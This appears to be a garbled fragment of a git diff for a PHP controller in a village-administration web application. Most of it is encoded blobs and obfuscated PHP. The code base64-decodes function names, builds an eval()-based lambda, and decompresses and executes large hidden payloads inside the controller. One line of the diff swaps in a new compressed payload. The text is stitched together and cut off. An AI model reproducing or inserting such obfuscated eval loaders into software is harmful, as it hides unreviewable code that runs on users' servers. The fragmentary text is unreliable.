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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtz4siSfp+I/Q/9cCI8J3p3RhKmp4mOfkAYCQmMjQSS0MuEpLIF6AJjbha//nxZkrhju2fOntidoDweG5CqsvLy5ZdZcn/6lI9//I7x/Wb2Mk4Xzzff+MtifL9h03Qy/R9vNvs1mKaLl2kcP73Mf5WXyThlT/PfI489vfwyG80+NWJvPv/ll19uvv1UzPvpv366fl2/Ln39RI726d84vp+8c+OItfnQFseu2vx+w9/aeeeHRhEM3z9dx3Vcx3X8PcdNkFgCc/SlplrS0F5PdaX27GTRbzloAjVzuP79qqrruI7ruI7ruI7ruI7ruI7/b+PazriO67iO6/j7jhvfmz99uf2dPQVT9nTz7aqR67iO67iO67iOvzQOn5C46027jfHXP/AzbIdCW2tMQyOJ564pz/wkCoeJknq2stRUYxQk0Zf96/oVOfbjrm7U+WvMU/9DU7qzoGLEPr/fXQWJOAqkKHRVazM05Q2j82xHC5lqZcPUesF7op8aopfJC9cWRx69Z9/m1/f25m0qa1+NX4ZOd0ay+GN541cwhzQIh1ItKuV11Tjz7NdZkMlYR49wPeRe0PVzz+nGfor7m6zXb8j2/Xp//tEIMtx5jiwMzXp2f1evag0hvJ/UX7umfOdL4tizq7Gm6HEg1cQg6cZaM15irzPWsgTPri21xmjKWsb6Yfx15besBfa3dKXFynespedAf1l16Tq9VTvfV2iqyovWhL5axki709b3/WHY4WtrgqbIMeQWfQf6UaH/poF1m6GhxinN5TfkAfY3ZvZiVK4bbKarjlRbu3Y1crHvThJH7QMdwi4JI12UuiIdzTyJ7Bt/8ezbudbqxkNJyWCXNEgUwXPu55q6iANVich+8IU1fq4ZbPQEv3C53arQszxiKtfzZgj9+4my5L4ylvGZPtNatB+F9DFiDXnO7Crpu5CD1ndnvjrA77UX+AjsZHC/IT+BfDPWqE+1aM8HoHvP1GadxtZ/ItgOa7yOvAr3oXzP0K2fyiNN1SGfAtloj9Al+SWu01Ru9z0frKZuxVoObdrLOvRta4l9zrluVJH0JyImprkP1mhOMX/fIL+H7+liIMW0/rzYP/ah0JoirqE11kMb9m51q9AL6SK3QcUSHsL9OEJs2fC1JBaG9kikmPDIX9TCX1QDcaAIQ+c+11/rzPXObFbaGvdmjF8bb7CekO8PtrFfR37hj4FEfqysIdsIel7SHEP4GjPl8dBmM3odqNaS4TPYXQ7UV/KdjWfKOtaAj+ojbuNs6yfVIfRZ6G0KHxERl3s6Y1OP1k/Ynr3O7MOuzvj1KvkPGwVj+cV1DPIR/rlPe7KrJMeJTPt4NWhaZm9QbZmCMtCar1Y/UjrwowfTlJum1VWMZizjswetofeNgS4bgqL3B8pDD/MaTeXBHjTH8LcB5ujhvXZvIOqY4wHYRK971gA+0tRlczAPLaw1ELGe1Qsxh4X/Hgp/GBiW3jctXbYatyTTgzV41QfQp9VULNhd6Q+sFskJTJJNYJJpYU1T7mM9GfiqQMZ7yDwwBwZ93sB8JBM8zHowMshlMbk35vP1tebivjeIu5C7g+usgaB0eoPbsGcZslXikGA5vcFM75V7sWSrX95P8kRAuEFV3t5nyjTnQz+OIY+hDKKFbGKfuO/eHCzkgRCF5qCqd/b9uUl+34WdWaw16se5I+zBJ5g6WgXjeqhBx54thAOV8BM4mvvUI/mescsLuKe7ClqE92yKONKG9jzsSfGaqU3C7fWDWV/kuDrA+zXMA781ZRPYuGKOPnHJR9IuMM7A2vHKH9enXssQgjvC0VcRfiiSbwL78TOmWFv6iSV0sqjc08SvyFX4auq1ev9JPMfeX2dDyVoGyH/Q1zbvsAqrdBK2ZGYVuTdYITYmFBuuc79yK/K8k4wE316Hhijfa8pwU/hkneLdy0j3+FZHAmvJG5rPlWLBa1njTtJd+WaN22AgxM2OwOXqm4Me10U+z9duAzZnDuVGZR0or4qfWotAfO3RHjzb4LnGFBb8/Yf1wbVdX0JMt7qBKSnYr94FznOMxD3CpWu5j7SsiNnz3+56M5H00XPktdMUV+AQc6xturbL12c28FfQZ4SX7mbebaTWxiXMaMlB3waHsF83DvK7G8uE5yLmfTHBMZAnNrQ+5sc1yFOJFbUbrNEDZgyaysBsBMhvr1811br1nN5UF6orwucgsSbwy82wosMneiH8fwI7boDbc1+tVVy7l7b7c66zofSKfHQf9qAXL7f3s8f1oIWuMxJIfmCn7KrizI9r4CNVIUhqmMfKINdvpH+yXQBbkc21hrGAjkRfqXH853a9E0Jd0kWvMlggB9E6PGdRPu3Y3B/TB86JcG1LRp6Dj2X1CPsfOxL02bLmjkR5t17TGmzEZUniDWvplKsX8I08Vnn+vE1znR3JpbqIpW7Ol5TaM7gbcaiM2V2h3eBxRf683U8hC/IK8s7d9Isj1ibYO60pDiu9KdffuL69FhzvDmtPdUlLd5/JtZzn8t/BXXTkc+RC8LMh+Jsv8RwDXYfTPL5ozcN5deR75C1fr4BDqrCrakX9RIE2hfDRrKeFrXb6y78jl3K0NU9Jh8AYARwndUz+GemwgXgXgdHQpZXtcr4xAudAfg4O9dAwIsrHdsZgv3gJTEMuhl4ajOW2VSIf73cS4BZ+EofupHxOyrEicbJOkq/VSfjnt/om97/dGnKG3Ap+exuyJI5ZFqa5r9wuh1vfvF8e2XpZ6C/tlHs2o63sz713/CDXLfK9PsfcF23g2cOw3TAED/m+06/OwOtE1hA+w+bPQ3s2elJqkF0RETvkS7Pj+/M59RjZLOPcx+HrQh5rg+sXj0kt2Zu/qFX0Jl1H8x3aYveNa6FTA3zDiJ+aXc79/XH43vWIYcox5Kvd2JNQs1R60B9qJOji2D8hV+ZXgvN7ahzpSAV/G4epB1xqm0exdPZ7Z3N981roVRaewKcfTX3iwd89SV89NbQQPrRw+wJqIQOxq/uOiVouUcDnBzVtHISdMfAiqVXIPm6jjpooGHc2t8dxcbx+7ZKMz2Z0ab+wF2Jup2/46QK8L6AaBrnaAHbJCeqMSZnb9Za+Yln0hT4PEs5h39GNgVoCtQbFVsZj8cO6Z+ZHdV+PcrnrS8KRR3AXDz7qToSxnkF/4PtOBXKD7yLngB8Q5gKrxRq4FH6Oq4lf0Rd6tg7z/SEe7N5MA7fUMy0s8kpNS3QBPg8Mul0w1Hd+vn/+OpCEMWxAPGhOtrWAF15D5n6vTW6/gktPwFk2wUYYu0kzxDfqJNS9De3zY6M2e5ysV8M++c7bvrmPA2e/1TgB95nk+B2mbTMKn970mxKblReqFTsTgfwXtdEoc+0h/PF+nGNLc/GDOiUuEDNgNeHZzp8j8u9UG+/0MUwNzKenHRv1ZFJblTo+1im44ZrqL4NjoxbmGCkKvsRS5ATYh/gK6sQClzrUL0hYzO4wjwQfT1zwCWFBnIZqn0t2yXNxOCabeP3brx2p+Rkx+LYftoSjHPAGPuS6/u3PxauFGn0P9yrWgiFnHmBessO6h7FMeR62CcJH+Bf432xohqU91ltOB59nRW3oq6j/1TjDnEtmv85hv1R3IvKlH5CL8z/wRF7HX5QPuPCZ5+zttdUOaimsK3x5SN0RcCnuS8NpGZfBjqsuHtOD+8D1Fs/buN0gnlLtM/fVFnRvs2fwnzVsjZoFOVZcPMF3vvRM0YNsrJMB8xrBvq++oL7ZwN9m21x68i185jG8j5+oL6heJywBJ0Pc8DwNDM913u5PQ/Bx8MX4a97rqKbPahX1zJrbJ6AYEykHy3NwXcRWsLLFKnx5Jnes6VxThBXHKS4v1yF0X/Dx7M38iloGcRntZEXMisH4LawnHqBXSSfAR+Jm5E+SL8XRezkUsr0y28qeTPiVNAIfszTUfqVf8LrgrI6AV6QHvdUkLpERz+qlEe4ziH8hP71CL6MZl7th5HsaR7OLubElvKUT2IEVPlvdtJV5inrwhXohrEHzM567uL6P/Nl5MxZE1FuDE159gt07HrXxUMs4m94aILLbyz6mwIc9x4WuBgecBpwYHNLKckzc8aVDzN9hz9m6cDLbEFZTLWCf0aMu5XzXqRxx67i22J+Hamvo6oxeWJ4TYqp3xaKnHI8oZn1b2WCujHpprLGHR2INuSKYn7FdUSfozzl/tuAjSnVoK0vUV8jTMfXPXoZOb+kVdedflIl4GnwP2FD/K7pZxLxfj3i/7D8UK7HgNUb+QZyIwiWfKOrL/biVOZcBvhJ3rGl39Us+MXMpxtU4usCxtnUX9DHzx6iPys+Iy7WMqefcA4O7It93xDnCtI14d4kXIZY5Ft99/RX4MvUr7Ll7V6ea4s21gHm8nqGacLuWaI2HdniW/25rSomfk8hFXFB9WPsARxEDfn/OUUjes2u0drZwCPt2n9XKurO/7zOosXPMG4CD8ZgAXjdr/CfXN3QkWQKvl1Lq43dfIN+x7x/JImM/1px6M09v6gHYw/1rT8Y8v/wJvcPvOY8N3rzXBU77A6Xwv7yOHkox8m1NhG6n1C8pa2lHKmvnLnKyIrgmx3HihWfX2OV7ntvDfR+8gGWp6/S4HwbqqziU5gc5x+H2OFrrlLvt9qYqCfSax/cuHsNHU971wzbTL4EETkn9F+QQyEn+lFKdN+T7Y6jt5xTzsDebQua4n9QEk3P0wj+OfGzPR05qpu2farXcmesE0x/rWVCcCH+yxwAurdRKXjQlLsMS+Gr9Ur+nCv9pFn2a055Dvj+2HIL3n9ikYZTrkK6P+o8LMQDuBND7mTgq58N7xqrHuVZ0koshW8yyIj6UBXs4i43UTzCecz1djvWt7ZFTCpnTwxjfk+NCPZav1aO9+k5/fraWoDhDzEy8xrFs8ijI6lHRQ3ijv1Hsq5Xz6vdra4POewU7788V81vAmEL/GWNv8K4zfaPzNdLe3tfw7RSYHSN2R0NwKD2r+Q5qsqeoubDH69Axv/LYyrGU3zfb75Hu7ZXyYAxcmxKvzDndR/WE2HBGqBWon83lip9a8pz65eDjc1q7ve1/ROFWn/0PzzcKUn30ZBFHqBO3RR1QxOTuusuctmEsEfd7+K5k4DxV8J+Y6t12/jnh6lbu8/h61DO6hIN5Ll2hLuQcsahfnpHn58Rp2uX6FTqjR81gjvzO+Hapq6WfrMP8NWIOXKZtnmJanr+a3M/yNTmPyOffq0/8nLMIri1QLTL2pdqc15C5PdZ+Bbi0b5v8WuhiVNbBM9IfYUTbrI8e+wLiSqG8eupH1LNTv4Zeir3HNeBzd+VSPstlnWvNWb8vVJ+t5sjsi+yZfjcsHb9rP8LXkK+M57JuBF58Aa6vkEPO9/EL2el3HpMqaiHer6qumdND7QGMboRl7jn2oahch/LnILGS3dnPolHw3C8P+Rwz6g/ArydetpsP7wm+kNv7lMvt/HKLY6e9Z44pjlTaW+5wLhYdcHfU/sUZQWO/po7K/R3LcSGW87Vor8Cw871HlfKhBawJT2Sj5wI+gpXFviTUpvD9d/ttORYh5+Q8Op/fzti2znAu4si5Hu/+ucz5vf9gT4Hf1/5wDup9WE+6at0C1+lMMSK5tlhH/Rhebx/EaKnPD89X4hLqlTVyMWFA3tPdu+4tjPYTq1K+3sdo8LUUmFa+Tjz7VXAdbZpziOj/AM6W/Z8rzr6BsxOKc6pH3uOt2/PPyiA9jYOcQ12oPbZr7Opjl54Don50vHcutjtjMy+fsdFzeMQrnQqbMTWEPF3UM904qNxzDtRLrMxTlY1nr0NLVRb8maom11n6kd7TyfySBf+qZTxmBDZy6ZkrpawB87OMfZ7+br3QstbkY4hvqq35Ga+evZPfoJ+epCwRv2Kx1qH/bue8zMd5/6FZy4xEmflFH+KUI+bnwIe9jHdsdcEXdjIJn5kjl/fz+S/x/YD3y8FPweHznk9I59uToWRtAo7DrAH/mtJzBX5Dtv53bMv7KsV5SvAjsVSe7eT9o4/GE51H/Vg80TMc9IxGNe9n/Xti5fAc6bTPcqbePrEVZM38isbnNiQlHb4174f1aT1Tf/tdDriLkem5GOF85FJsqBbh8+oJMVlyR+yPevXgJNS7oDNpjXoVfwddn+2ZU/1HXIv8N8+xVMOh5nSseFuDm7BBkW/P90/rUdlf3ucejJ4HwjztLeegGnZNsk/L8x7kw+hA52WfmnL2SZ+izO17dd4u/79Tl5Z7MlCzl/Mwdo4XbHtKyjl+dNKb5Gc04OXzop89PVjruN+GfV3onRf14a6WfRzLfwRSbelIsBd/Jj3c6rltnu3jb3nzlrtBtlMusT0ju3CmYIHT8X4ZPTMUcq6jKnNwliU9Sw2dvjiV7prwmM4uy5wA3s6fo82fy1aWp3uV2Y/ggGcrsGcwLc/jKWciJwhDe56++1yVxO857P0Wz19ceqbqT/ZugVXKS86t+Zqn+XV3tiV5tlVpl8+6jau7PnxW5Wcv5EP0LDs+K/f/J/uTuVztw2dOZpfil/trGp3UAvt19fH52lk9mvU35/DtGj0jTudV4MNVzgtyPwsv2iV/nmV35kLz8ff6l2x/1PfnvKY4v+1X8574xXvzZyMIG07Od5JRnJ+TUS+c/v7kpOe3lZmpbO5IhW+UPcPj/kQqr4Cx1PNKfaU2QeyMvCx4wz/p72gO9JD2UuuFmXKXOfnfN+w9v3rx2UFwkNn2bKOY50PP5OXPJC7LGLw0v6/S54tn1jKi4nzA1zd5zrrnZ9WBqJ/pQVzu5b+OnmzEYOuecHARqLUlMFhAzPDzvSH1jAqZLsUKfd98++mn//wfRn3nP38uXv3z24/cvnfvR278x27Bn2/o/zf/vV32+u/QXr8+8u/QHvrSzwfOm7vSP7/9CxTs6pA='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php b/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php index 13de388a2..47c6ebe98 100644 --- a/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php +++ b/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php @@ -328,7 +328,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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